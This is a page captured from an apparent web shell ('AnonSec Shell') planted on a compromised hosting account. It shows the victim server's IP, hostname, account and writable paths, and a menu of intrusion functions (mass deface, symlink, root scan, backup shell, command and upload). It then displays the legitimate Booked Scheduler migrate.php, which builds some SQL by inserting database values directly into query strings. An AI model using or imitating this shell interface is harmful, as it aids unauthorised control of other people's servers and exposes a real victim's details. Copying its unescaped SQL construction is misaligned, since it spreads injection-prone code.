. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/booked/Web/install/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/booked/Web/install/migrate.php
<?php
/**
Copyright 2012-2014 Nick Korbel

This file is part of Booked Scheduler.

Booked Scheduler is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Booked Scheduler is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Booked Scheduler.  If not, see <http://www.gnu.org/licenses/>.
 */

define('ROOT_DIR', '../../');

require_once(ROOT_DIR . 'Pages/Page.php');
require_once(ROOT_DIR . 'lib/Database/namespace.php');
require_once(ROOT_DIR . 'lib/Database/MySQL/namespace.php');
require_once(ROOT_DIR . 'Domain/namespace.php');
require_once(ROOT_DIR . 'Domain/Access/namespace.php');

class MigrationPage extends Page
{
	/**
	 * @var MigrationPresenter
	 */
	private $presenter;

	public function __construct()
	{
		parent::__construct('', 1);
		$this->presenter = new MigrationPresenter($this);
	}

	public function SetError($ex)
	{
		$this->SetJsonError($ex);
	}

	protected function GetShouldAutoLogout()
	{
		return false;
	}

	public function PageLoad()
	{
		$this->presenter->PageLoad();
	}

	public function IsLoggingIn()
	{
		$buttonValue = $this->GetForm('run');

		return !empty($buttonValue);
	}

	public function SetProgress($numberPending)
	{
		$this->SetJson($numberPending);
	}

	public function StartMigration()
	{
		$this->Set('StartMigration', true);
		$this->Display('Install/migrate.tpl');
	}

	public function GetRunTarget()
	{
		return $this->GetQuerystring('start');
	}

	public function DisplayMigrationPrompt()
	{
		$this->Display('Install/migrate.tpl');
	}

	public function GetLegacyUserName()
	{
		return $this->GetForm('legacyUser');
	}

	public function GetLegacyPassword()
	{
		return $this->GetForm('legacyPassword');
	}

	public function GetLegacyHostSpec()
	{
		return $this->GetForm('legacyHostSpec');
	}

	public function GetLegacyDatabaseName()
	{
		return $this->GetForm('legacyDatabaseName');
	}

	public function SetLegacyConnectionSucceeded($wasSuccessful)
	{
		$this->Set('LegacyConnectionFailed', !$wasSuccessful);
	}

	public function SetSchedulesMigrated($schedulesMigrated)
	{
		$this->Set('SchedulesMigratedCount', $schedulesMigrated);
	}

	public function SetResourcesMigrated($resourcesMigrated)
	{
		$this->Set('ResourcesMigratedCount', $resourcesMigrated);
	}

	public function SetAccessoriesMigrated($accessoriesMigrated)
	{
		$this->Set('AccessoriesMigratedCount', $accessoriesMigrated);
	}

	public function SetGroupsMigrated($groupsMigrated)
	{
		$this->Set('GroupsMigratedCount', $groupsMigrated);
	}

	public function SetUsersMigrated($usersMigrated)
	{
		$this->Set('UsersMigratedCount', $usersMigrated);
	}

	public function SetReservationsMigrated($reservationsMigrated)
	{
		$this->Set('ReservationsMigratedCount', $reservationsMigrated);
	}

	public function GetInstallPassword()
	{
		return $this->GetForm('installPassword');
	}

	public function SetInstallPasswordSucceeded($passwordValid)
	{
		$this->Set('InstallPasswordFailed', !$passwordValid);
	}
}

class MigrationSession
{
	public static function SetPasswordOK($value)
	{
		ServiceLocator::GetServer()->SetSession('migrate-password-ok', $value);
	}

	public static function ClearLegacyDb()
	{
		ServiceLocator::GetServer()->SetSession('migrate-legacy-db', null);
	}

	public static function GetLegacyDb()
	{
		return ServiceLocator::GetServer()->GetSession('migrate-legacy-db');
	}

	public static function SetLegacyDb($legacyUserName, $legacyPassword, $legacyHostSpec, $legacyDatabaseName)
	{
		ServiceLocator::GetServer()->SetSession('migrate-legacy-db', array(
			'username' => $legacyUserName,
			'password' => $legacyPassword,
			'hostspec' => $legacyHostSpec,
			'databasename' => $legacyDatabaseName
		));
	}

	private static function GetLastId($key)
	{
		$id = ServiceLocator::GetServer()->GetSession($key);
		if (empty($id))
		{
			return 0;
		}
		return $id;
	}

	public static function SetLastScheduleRow($schedulesMigrated)
	{
		ServiceLocator::GetServer()->SetSession('migrate-legacy-schedules', $schedulesMigrated);
	}

	public static function GetLastScheduleRow()
	{
		return self::GetLastId('migrate-legacy-schedules');
	}

	public static function GetLastResourceRow()
	{
		return self::GetLastId('migrate-legacy-resources');
	}

	public static function SetLastResourceRow($resourcesMigrated)
	{
		ServiceLocator::GetServer()->SetSession('migrate-legacy-resources', $resourcesMigrated);
	}

	public static function SetLastAccessoryRow($accessoriesMigrated)
	{
		ServiceLocator::GetServer()->SetSession('migrate-legacy-accessories', $accessoriesMigrated);
	}

	public static function GetLastAccessoryRow()
	{
		return self::GetLastId('migrate-legacy-accessories');
	}

	public static function GetLastGroupRow()
	{
		return self::GetLastId('migrate-legacy-groups');
	}

	public static function SetLastGroupRow($groupsMigrated)
	{
		ServiceLocator::GetServer()->SetSession('migrate-legacy-groups', $groupsMigrated);
	}

	public static function GetLastUserRow()
	{
		return self::GetLastId('migrate-legacy-users');
	}

	public static function SetLastUserRow($usersMigrated)
	{
		ServiceLocator::GetServer()->SetSession('migrate-legacy-users', $usersMigrated);
	}

	public static function GetLastReservationRow()
	{
		return self::GetLastId('migrate-legacy-reservations');
	}

	public static function SetLastReservationRow($reservationsMigrated)
	{
		ServiceLocator::GetServer()->SetSession('migrate-legacy-reservations', $reservationsMigrated);
	}
}

class MigrationPresenter
{
	/**
	 * @var MigrationPage
	 */
	private $page;

	public function __construct(MigrationPage $page)
	{
		$this->page = $page;
	}

	public function PageLoad()
	{
		try
		{
			$legacyDatabase = new Database($this->GetLegacyConnection());
			$currentDatabase = ServiceLocator::GetDatabase();
			$runTarget = $this->page->GetRunTarget();
			if (!empty($runTarget))
			{
				$this->Migrate($runTarget, $legacyDatabase, $currentDatabase);
			}
			elseif ($this->page->IsLoggingIn())
			{
				if ($this->TestInstallPassword() && $this->TestLegacyConnection())
				{
					$this->page->StartMigration();
				}
				else
				{
					$this->page->DisplayMigrationPrompt();
				}
			}
			else
			{
				$this->page->DisplayMigrationPrompt();
			}
		} catch (Exception $ex)
		{
			Log::Error('General migration exception. %s', $ex);
			throw $ex;
		}
	}

	private function GetLegacyDatabase()
	{
		return new Database($this->GetLegacyConnection());
	}

	private function Migrate($runTarget)
	{
		try
		{
			$legacyDatabase = $this->GetLegacyDatabase();
			$currentDatabase = ServiceLocator::GetDatabase();

			if ($runTarget == 'schedules')
			{
				$this->MigrateSchedules($legacyDatabase, $currentDatabase);
			}
			if ($runTarget == 'resources')
			{
				$this->MigrateResources($legacyDatabase, $currentDatabase);
			}
			if ($runTarget == 'accessories')
			{
				$this->MigrateAccessories($legacyDatabase, $currentDatabase);
			}
			if ($runTarget == 'groups')
			{
				$this->MigrateGroups($legacyDatabase, $currentDatabase);
			}
			if ($runTarget == 'users')
			{
				$this->MigrateUsers($legacyDatabase, $currentDatabase);
			}
			if ($runTarget == 'reservations')
			{
				$this->MigrateReservations($legacyDatabase, $currentDatabase);
			}
		} catch (Exception $ex)
		{
			Log::Error('Migration exception. %s', $ex);
			$this->page->SetError($ex);
		}
	}

	/**
	 * @return MySqlConnection
	 */
	private function GetLegacyConnection()
	{
		$sessionValues = MigrationSession::GetLegacyDb();

		if (!empty($sessionValues))
		{
			$legacyUserName = $sessionValues['username'];
			$legacyPassword = $sessionValues['password'];
			$legacyHostSpec = $sessionValues['hostspec'];
			$legacyDatabaseName = $sessionValues['databasename'];
		}
		else
		{
			$legacyUserName = $this->page->GetLegacyUserName();
			$legacyPassword = $this->page->GetLegacyPassword();
			$legacyHostSpec = $this->page->GetLegacyHostSpec();
			$legacyDatabaseName = $this->page->GetLegacyDatabaseName();

			MigrationSession::SetLegacyDb($legacyUserName, $legacyPassword, $legacyHostSpec, $legacyDatabaseName);
		}

		return new MySqlConnection($legacyUserName, $legacyPassword, $legacyHostSpec, $legacyDatabaseName);
	}

	/**
	 * @return bool
	 */
	private function TestLegacyConnection()
	{
		$legacyConnection = $this->GetLegacyConnection();
		try
		{
			$legacyConnection->Connect();
			$legacyConnection->Disconnect();
			$this->page->SetLegacyConnectionSucceeded(true);
			return true;
		} catch (Exception $ex)
		{
			MigrationSession::ClearLegacyDb();
			$this->page->SetLegacyConnectionSucceeded(false);
			return false;
		}
	}

	/**
	 * @return bool
	 */
	private function TestInstallPassword()
	{
		$password = Configuration::Instance()->GetKey(ConfigKeys::INSTALLATION_PASSWORD);

		if (empty($password) || $password != $this->page->GetInstallPassword())
		{
			MigrationSession::SetPasswordOK(null);
			$this->page->SetInstallPasswordSucceeded(false);
			return false;
		}
		$this->page->SetInstallPasswordSucceeded(true);
		MigrationSession::SetPasswordOK(true);
		return true;
	}

	private function MigrateSchedules(Database $legacyDatabase, Database $currentDatabase)
	{
		$schedulesMigrated = MigrationSession::GetLastScheduleRow();
		Log::Debug('Start migrating schedules. Starting at row %s', $schedulesMigrated);

		$scheduleRepo = new ScheduleRepository();

		$getLegacySchedules = new AdHocCommand("select scheduleid, scheduletitle, daystart, dayend, timespan,
                timeformat, weekdaystart, viewdays, usepermissions, ishidden, showsummary, adminemail, isdefault
                from schedules order by scheduleid limit $schedulesMigrated, 500");

		$getExistingSchedules = new AdHocCommand('select legacyid from schedules');
		$reader = $currentDatabase->Query($getExistingSchedules);

		$knownIds = array();
		while ($row = $reader->GetRow())
		{
			$knownIds[] = $row['legacyid'];
		}

		$reader = $legacyDatabase->Query($getLegacySchedules);

		while ($row = $reader->GetRow())
		{
			$legacyScheduleId = $row['scheduleid'];
			if (in_array($legacyScheduleId, $knownIds))
			{
				continue;
			}

			$newId = $scheduleRepo->Add(new Schedule(null, $row['scheduletitle'], false, $row['weekdaystart'], $row['viewdays']),
										1);

			$currentDatabase->Execute(new AdHocCommand("update schedules set legacyid = \"{$row['scheduleid']}\" where schedule_id = $newId"));
			$timezone = Configuration::Instance()->GetDefaultTimezone();

			$available = $this->CreateAvailableTimeSlots($row['daystart'], $row['dayend'], $row['timespan']);
			$unavailable = $this->CreateUnavailableTimeSlots($row['daystart'], $row['dayend'], $row['timespan']);
			$layout = ScheduleLayout::Parse($timezone, $available, $unavailable);

			$scheduleRepo->AddScheduleLayout($newId, $layout);

			$schedulesMigrated++;
			MigrationSession::SetLastScheduleRow($schedulesMigrated);
		}

		Log::Debug('Done migrating schedules (%s schedules)', $schedulesMigrated);

		$getLegacyCount = new AdHocCommand('select count(*) as count from schedules');
		$getMigratedCount = new AdHocCommand('select count(*) as count from schedules where legacyid is not null');

		$progressCounts = $this->GetProgressCounts($getLegacyCount, $getMigratedCount);

		$this->page->SetProgress($progressCounts);
		$this->page->SetSchedulesMigrated($progressCounts->MigratedCount);
		MigrationSession::SetLastScheduleRow($progressCounts->MigratedCount);
	}

	private function MigrateResources(Database $legacyDatabase, Database $currentDatabase)
	{
		$resourcesMigrated = MigrationSession::GetLastResourceRow();
		Log::Debug('Start migrating resources. Starting at row %s', $resourcesMigrated);

		$resourceRepo = new ResourceRepository();

		$getExisting = new AdHocCommand('select legacyid from resources');
		$reader = $currentDatabase->Query($getExisting);

		$knownIds = array();
		while ($row = $reader->GetRow())
		{
			$knownIds[] = $row['legacyid'];
		}

		$getResources = new AdHocCommand("select machid, scheduleid, name, location, rphone, notes, status, minres, maxres, autoassign, approval,
                        allow_multi, max_participants, min_notice_time, max_notice_time
                        from resources order by machid limit $resourcesMigrated, 500");

		$reader = $legacyDatabase->Query($getResources);

		while ($row = $reader->GetRow())
		{
			$legacyResourceId = $row['machid'];
			if (in_array($legacyResourceId, $knownIds))
			{
				continue;
			}

			$newScheduleReader = $currentDatabase->Query(new AdHocCommand("select schedule_id from schedules where legacyId = \"{$row['scheduleid']}\""));

			if ($srow = $newScheduleReader->GetRow())
			{
				$newScheduleId = $srow['schedule_id'];
			}

			$minTimeSeconds = $row['minres'] * 60;
			$maxTimeSeconds = $row['maxres'] * 60;
			$min_notice_time = $row['min_notice_time'] * 60;
			$max_notice_time = $row['max_notice_time'] * 60;

			$newId = $resourceRepo->Add(
				new BookableResource(null,
									 $row['name'],
									 $row['location'],
									 $row['rphone'],
									 $row['notes'],
									 $minTimeSeconds,
									 $maxTimeSeconds,
									 $row['autoassign'],
									 $row['approval'],
									 $row['allow_multi'],
									 $row['max_participants'],
									 $min_notice_time,
									 $max_notice_time, null, $newScheduleId));

			$currentDatabase->Execute(new AdHocCommand("update resources set legacyid = \"{$row['machid']}\" where resource_id = $newId"));

			$resourcesMigrated++;
			MigrationSession::SetLastResourceRow($resourcesMigrated);
		}

		Log::Debug('Done migrating resources (%s resources)', $resourcesMigrated);

		$getLegacyCount = new AdHocCommand('select count(*) as count from resources');
		$getMigratedCount = new AdHocCommand('select count(*) as count from resources where legacyid is not null');

		$progressCounts = $this->GetProgressCounts($getLegacyCount, $getMigratedCount);

		$this->page->SetProgress($progressCounts);

		$this->page->SetResourcesMigrated($progressCounts->MigratedCount);
		MigrationSession::SetLastResourceRow($progressCounts->MigratedCount);
	}

	private function MigrateAccessories(Database $legacyDatabase, Database $currentDatabase)
	{
		$accessoriesMigrated = MigrationSession::GetLastAccessoryRow();
		Log::Debug('Start migrating accessories. Starting at row %s', $accessoriesMigrated);

		$accessoryRepo = new AccessoryRepository();

		$getExisting = new AdHocCommand('select legacyid from accessories');
		$reader = $currentDatabase->Query($getExisting);

		$knownIds = array();
		while ($row = $reader->GetRow())
		{
			$knownIds[] = $row['legacyid'];
		}

		$getAccessories = new AdHocCommand("select resourceid, name, number_available from additional_resources
		 order by resourceid limit $accessoriesMigrated, 500");

		$reader = $legacyDatabase->Query($getAccessories);

		while ($row = $reader->GetRow())
		{
			if (in_array($row['resourceid'], $knownIds))
			{
				continue;
			}
			$newId = $accessoryRepo->Add(new Accessory(null, $row['name'], $row['number_available']));

			$currentDatabase->Execute(new AdHocCommand("update accessories set legacyid = \"{$row['resourceid']}\" where accessory_id = $newId"));

			$accessoriesMigrated++;
			MigrationSession::SetLastAccessoryRow($accessoriesMigrated);
		}

		Log::Debug('Done migrating accessories (%s accessories)', $accessoriesMigrated);
		$getLegacyCount = new AdHocCommand('select count(*) as count from additional_resources');
		$getMigratedCount = new AdHocCommand('select count(*) as count from accessories where legacyid is not null');

		$progressCounts = $this->GetProgressCounts($getLegacyCount, $getMigratedCount);

		$this->page->SetProgress($progressCounts);
		$this->page->SetAccessoriesMigrated($progressCounts->MigratedCount);
		MigrationSession::SetLastAccessoryRow($progressCounts->MigratedCount);
	}

	private function MigrateGroups(Database $legacyDatabase, Database $currentDatabase)
	{
		$groupsMigrated = MigrationSession::GetLastGroupRow();
		Log::Debug('Start migrating groups. Starting at row %s', $groupsMigrated);

		$groupRepo = new GroupRepository();

		$getExisting = new AdHocCommand('select legacyid from groups');
		$reader = $currentDatabase->Query($getExisting);

		$knownIds = array();
		while ($row = $reader->GetRow())
		{
			$knownIds[] = $row['legacyid'];
		}

		$getGroups = new AdHocCommand("select groupid, group_name from groups order by groupid limit $groupsMigrated, 500");

		$reader = $legacyDatabase->Query($getGroups);

		while ($row = $reader->GetRow())
		{
			if (in_array($row['groupid'], $knownIds))
			{
				continue;
			}

			$newId = $groupRepo->Add(new Group(null, $row['group_name']));

			$currentDatabase->Execute(new AdHocCommand("update groups set legacyid = \"{$row['groupid']}\" where group_id = $newId"));

			$groupsMigrated++;
			MigrationSession::SetLastGroupRow($groupsMigrated);
		}

		Log::Debug('Done migrating groups (%s groups)', $groupsMigrated);

		$getLegacyCount = new AdHocCommand('select count(*) as count from groups');
		$getMigratedCount = new AdHocCommand('select count(*) as count from groups where legacyid is not null');

		$progressCounts = $this->GetProgressCounts($getLegacyCount, $getMigratedCount);
		$this->page->SetProgress($progressCounts);

		$this->page->SetGroupsMigrated($progressCounts->MigratedCount);
		MigrationSession::SetLastGroupRow($progressCounts->MigratedCount);
	}

	private function MigrateUsers(Database $legacyDatabase, Database $currentDatabase)
	{
		$usersMigrated = MigrationSession::GetLastUserRow();
		Log::Debug('Start migrating users. Starting at row %s', $usersMigrated);

		$getExisting = new AdHocCommand('select legacyid from users');
		$reader = $currentDatabase->Query($getExisting);

		$knownIds = array();
		while ($row = $reader->GetRow())
		{
			$knownIds[] = $row['legacyid'];
		}

		$getGroups = new AdHocCommand('select groupid, memberid from user_groups');
		$reader = $legacyDatabase->Query($getGroups);

		$userGroups = array();
		while ($row = $reader->GetRow())
		{
			$memberId = $row['memberid'];
			if (!array_key_exists($memberId, $userGroups))
			{
				$userGroups[$memberId] = array();
			}
			$userGroups[$memberId][] = $row['groupid'];
		}

		$getGroupMapping = new AdHocCommand('select group_id, legacyid from groups');
		$reader = $currentDatabase->Query($getGroupMapping);

		$groupMap = array();
		while ($row = $reader->GetRow())
		{
			$groupMap[$row['legacyid']] = $row['group_id'];
		}

		$getUsers = new AdHocCommand("select memberid, email, password, fname, lname, phone, institution, position, e_add, e_mod, e_del, e_app, e_html, logon_name, is_admin, lang, timezone
		from login order by memberid limit $usersMigrated, 500");
		$reader = $legacyDatabase->Query($getUsers);

		while ($row = $reader->GetRow())
		{
			$legacyId = $row['memberid'];
			if (in_array($legacyId, $knownIds))
			{
				continue;
			}

			$registerCommand = new RegisterUserCommand(
				$row['logon_name'],
				$row['email'],
				$row['fname'],
				$row['lname'],
				'',
				'',
				Configuration::Instance()->GetDefaultTimezone(),
				empty($row['lang']) ? Configuration::Instance()->GetKey(ConfigKeys::LANGUAGE) : $row['lang'],
				Pages::DEFAULT_HOMEPAGE_ID,
				$row['phone'],
				$row['institution'],
				$row['position'],
				AccountStatus::ACTIVE,
				null,
				null);

			$newId = ServiceLocator::GetDatabase()->ExecuteInsert($registerCommand);
			$legacypassword = $row['password'];
			$currentDatabase->Execute(new AdHocCommand("update users set legacyid = \"$legacyId\", legacypassword=\"$legacypassword\" where user_id = $newId"));

			// migrate group assignments
			if (array_key_exists($legacyId, $userGroups))
			{
				foreach ($userGroups[$legacyId] as $legacyGroupId)
				{
					$newGroupId = $groupMap[$legacyGroupId];
					$currentDatabase->ExecuteInsert(new AddUserGroupCommand($newId, $newGroupId));
				}
			}
			$usersMigrated++;
			MigrationSession::SetLastUserRow($usersMigrated);
		}

		Log::Debug('Done migrating users (%s users)', $usersMigrated);

		$getLegacyCount = new AdHocCommand('select count(*) as count from login');
		$getMigratedCount = new AdHocCommand('select count(*) as count from users where legacyid is not null');

		$progressCounts = $this->GetProgressCounts($getLegacyCount, $getMigratedCount);
		$this->page->SetProgress($progressCounts);

		$this->page->SetUsersMigrated($progressCounts->MigratedCount);
		MigrationSession::SetLastUserRow($progressCounts->MigratedCount);
	}

	private function MigrateReservations(Database $legacyDatabase, Database $currentDatabase)
	{
		$reservationsMigrated = MigrationSession::GetLastReservationRow();
		Log::Debug('Start migrating reservations. Starting at row %s', $reservationsMigrated);

		$reservationRepository = new ReservationRepository();
		$blackoutRepository = new BlackoutRepository();

		$getLegacyReservations = new AdHocCommand("select r.resid, machid, scheduleid, start_date, end_date,
            starttime, endtime, created, modified, parentid, is_blackout, is_pending, summary, allow_participation, allow_anon_participation,
            ru.memberid
            FROM reservations r INNER JOIN reservation_users ru ON r.resid = ru.resid AND owner = 1
            ORDER BY r.resid LIMIT $reservationsMigrated, 100");

		$getExisting = new AdHocCommand('select legacyid from reservation_series');
		$reader = $currentDatabase->Query($getExisting);

		$knownIds = array();
		while ($row = $reader->GetRow())
		{
			$knownIds[] = $row['legacyid'];
		}

		$getLegacyReservationAccessories = new AdHocCommand('SELECT resid, resourceid from reservation_resources');
		$getLegacyReservationParticipants = new AdHocCommand('SELECT resid, memberid, owner, invited  FROM reservation_users WHERE (owner is null or owner = 0)');

		$getAccessoryMapping = new AdHocCommand('select accessory_id, legacyid from accessories');
		$getUserMapping = new AdHocCommand('select user_id, legacyid from users');
		$getResourceMapping = new AdHocCommand('select resource_id, legacyid from resources');

		$accessoryMapping = array();
		$accessoryMappingReader = $currentDatabase->Query($getAccessoryMapping);
		while ($row = $accessoryMappingReader->GetRow())
		{
			$legacyId = $row['legacyid'];
			$accessoryMapping[$legacyId] = $row['accessory_id'];
		}

		$userMapping = array();
		$userMappingReader = $currentDatabase->Query($getUserMapping);
		while ($row = $userMappingReader->GetRow())
		{
			$legacyId = $row['legacyid'];
			$userMapping[$legacyId] = $row['user_id'];
		}

		$resourceMapping = array();
		$resourceMappingReader = $currentDatabase->Query($getResourceMapping);
		while ($row = $resourceMappingReader->GetRow())
		{
			$legacyId = $row['legacyid'];
			$resourceMapping[$legacyId] = $row['resource_id'];
		}

		$reservationAccessories = array();
		$legacyAccessoryReader = $legacyDatabase->Query($getLegacyReservationAccessories);
		while ($row = $legacyAccessoryReader->GetRow())
		{
			$resId = $row['resid'];
			if (!array_key_exists($resId, $reservationAccessories))
			{
				$reservationAccessories[$resId] = array();
			}
			$reservationAccessories[$resId][] = $row['resourceid'];
		}

		$reservationParticipants = array();
		$legacyParticipantReader = $legacyDatabase->Query($getLegacyReservationParticipants);
		while ($row = $legacyParticipantReader->GetRow())
		{
			$resId = $row['resid'];
			if (!array_key_exists($resId, $reservationParticipants))
			{
				$reservationParticipants[$resId] = array();
			}
			$reservationParticipants[$resId][] = array('id' => $row['memberid'], 'invited' => $row['invited']);
		}

		$legacyReservationReader = $legacyDatabase->Query($getLegacyReservations);
		while ($row = $legacyReservationReader->GetRow())
		{
			$legacyId = $row['resid'];

			if (in_array($legacyId, $knownIds))
			{
				continue;
			}

			$date = $this->BuildDateRange($row['start_date'], $row['starttime'], $row['end_date'], $row['endtime']);

			$mappedUserId = $userMapping[$row['memberid']];
			$mappedResourceId = $resourceMapping[$row['machid']];

			if ($row['is_blackout'] == 1)
			{
				// handle blackout
				$blackout = BlackoutSeries::Create($mappedUserId, '', $date);
				$blackout->AddResourceId($mappedResourceId);

				$newId = $blackoutRepository->Add($blackout);
				$currentDatabase->Execute(new AdHocCommand("update blackout_series set legacyid = \"$legacyId\" where blackout_series_id = $newId"));
			}
			else
			{
				// handle reservation

				$mappedParticipantIds = array();
				$mappedInviteeIds = array();
				if (array_key_exists($legacyId, $reservationParticipants))
				{
					$legacyParticipants = $reservationParticipants[$legacyId];
					foreach ($legacyParticipants as $legacyParticipantId)
					{
						$userId = $userMapping[$legacyParticipantId['id']];
						if (empty($legacyParticipantId['invited']))
						{
							$mappedParticipantIds[] = $userId;
						}
						else
						{
							$mappedInviteeIds[] = $userId;
						}
					}
				}

				$mappedAccessoryList = array();
				if (array_key_exists($legacyId, $reservationAccessories))
				{
					$legacyAccessories = $reservationAccessories[$legacyId];
					foreach ($legacyAccessories as $legacyAccessoryId)
					{
						if (array_key_exists($legacyAccessoryId, $accessoryMapping))
						{
							$mappedAccessoryId = $accessoryMapping[$legacyAccessoryId];
							$mappedAccessoryList[] = new ReservationAccessory($mappedAccessoryId, 1);
						}
					}
				}

				$currentUser = new UserSession($row['memberid']);
				$currentUser->Timezone = Configuration::Instance()->GetDefaultTimezone();
				$mappedResource = new MigrateBookableResource($mappedResourceId);

				$reservation = ReservationSeries::Create($mappedUserId, $mappedResource, '', $row['summary'], $date,
														 new RepeatNone(), $currentUser);
				foreach ($mappedAccessoryList as $accessory)
				{
					$reservation->AddAccessory($accessory);
				}

				$reservation->ChangeParticipants($mappedParticipantIds);
				$reservation->ChangeInvitees($mappedInviteeIds);

				try
				{
					$reservationRepository->Add($reservation);

					$newId = $reservation->SeriesId();
					$currentDatabase->Execute(new AdHocCommand("update reservation_series set legacyid = \"$legacyId\" where series_id = $newId"));
				} catch (Exception $ex)
				{
					Log::Error('Error migrating reservation %s. Exception: %s', $legacyId, $ex);
				}
			}

			$reservationsMigrated++;
			MigrationSession::SetLastReservationRow($reservationsMigrated);
		}

		Log::Debug('Done migrating reservations (%s reservations)', $reservationsMigrated);
		$getLegacyCount = new AdHocCommand('select count(*) as count from reservations');
		$getMigratedCount = new AdHocCommand('SELECT
		(select count(*) from reservation_series where legacyid is not null) +
		(select count(*) from blackout_series where legacyid is not null )
		as count');

		$progressCounts = $this->GetProgressCounts($getLegacyCount, $getMigratedCount);
		$this->page->SetProgress($progressCounts);

		Log::Debug('There are %s total legacy reservations and %s already migrated. Progress is %s', $progressCounts->LegacyCount, $progressCounts->MigratedCount, $progressCounts->PercentComplete);

		$this->page->SetReservationsMigrated($progressCounts->MigratedCount);
		MigrationSession::SetLastReservationRow($progressCounts->MigratedCount);
	}

	private function CreateAvailableTimeSlots($start, $end, $interval)
	{
		$times = '';
		for ($time = $start; $time < $end; $time += $interval)
		{
			$startTime = $time;
			$startString = $this->MinutesToTime($startTime);

			$endTime = $time + $interval;
			$endString = $this->MinutesToTime($endTime);

			$times .= "$startString - $endString\n";
		}

		return $times;
	}

	private function CreateUnavailableTimeSlots($start, $end, $interval)
	{
		$times = '';
		for ($time = 0; $time < $start; $time += $interval)
		{
			$startTime = $time;
			$startString = $this->MinutesToTime($startTime);

			$endTime = $time + $interval;
			$endString = $this->MinutesToTime($endTime);

			$times .= "$startString - $endString\n";
		}

		for ($time = $end; $time < 1440; $time += $interval)
		{
			$startTime = $time;
			$startString = $this->MinutesToTime($startTime);

			$endTime = $time + $interval;
			$endString = $this->MinutesToTime($endTime);

			$times .= "$startString - $endString\n";
		}

		return $times;
	}

	private function MinutesToTime($minutes)
	{
		$hour = intval($minutes / 60);
		$min = $minutes % 60;

		$hour = $hour % 24;

		return "$hour:$min";
	}

	private function BuildDateRange($startDate, $startTime, $endDate, $endTime)
	{
		$s = date('Y-m-d', $startDate) . ' ' . $this->MinutesToTime($startTime);
		$e = date('Y-m-d', $endDate) . ' ' . $this->MinutesToTime($endTime);

		return DateRange::Create($s, $e, Configuration::Instance()->GetDefaultTimezone());
	}

	private function GetProgressCounts($legacyCountCommand, $migratedCountCommand)
	{
		$legacyCount = 0;
		$migratedCount = 0;

		$legacyDb = new Database($this->GetLegacyConnection());
		$reader = $legacyDb->Query($legacyCountCommand);
		if ($row = $reader->GetRow())
		{
			$legacyCount = $row['count'];
		}

		$reader = ServiceLocator::GetDatabase()->Query($migratedCountCommand);
		if ($row = $reader->GetRow())
		{
			$migratedCount = $row['count'];
		}

		return new ProgressCounts($legacyCount, $migratedCount);
	}
}

class ProgressCounts
{
	public $LegacyCount = 0;
	public $MigratedCount = 0;
	public $RemainingCount = 0;
	public $PercentComplete = 0;

	public function __construct($legacyCount, $migratedCount)
	{
		$this->LegacyCount = $legacyCount;
		$this->MigratedCount = $migratedCount;
		$this->RemainingCount = $legacyCount - $migratedCount;
		if ($legacyCount > 0)
		{
			$this->PercentComplete = round((($migratedCount / $legacyCount) * 100), 2);
		}
		else
		{
			$this->PercentComplete = 100;
		}
	}
}

class MigrateBookableResource extends BookableResource
{
	public function __construct($resourceId)
	{
		$this->_resourceId = $resourceId;
	}
}

$page = new MigrationPage();
$page->PageLoad();

Anon7 - 2022
AnonSec Team